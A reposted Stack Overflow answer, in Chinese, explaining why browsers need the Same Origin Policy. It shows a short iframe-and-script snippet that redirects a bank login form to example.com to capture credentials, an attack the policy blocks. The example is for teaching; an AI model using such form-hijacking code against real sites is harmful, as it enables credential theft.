gpt4 book ai didi

security - 为什么需要同源策略的简单示例

转载 作者:行者123 更新时间:2023-12-03 08:56:34 28 4
gpt4 key购买 nike

我读过 Same Origin Policy ,但为了更好地理解这个问题:任何人都可以写一个简单的代码(用任何语言)来演示 SOP 停止的攻击吗?

在 SOP 出现之前,怎么可能攻击某人?

最佳答案

<iframe id="bank" src="https://yourbank.com"></iframe>

<script>
window.onload = function() {
document.getElementById('bank').contentWindow.document.forms[0].action =
'http://example.com';
};
</script>

Javascript 代码更改了表单的操作属性(目的地,顾名思义),因此当您提交表单时,您将凭据发送给我,而不是您的银行。

如果我在我的服务器上设置一个 PHP 脚本将您重定向到您的银行,您甚至不会注意到它。

使用同源策略,这种攻击是不可能的。我域中的站点无法读取或修改银行网站的内容。

关于security - 为什么需要同源策略的简单示例,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/14667189/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com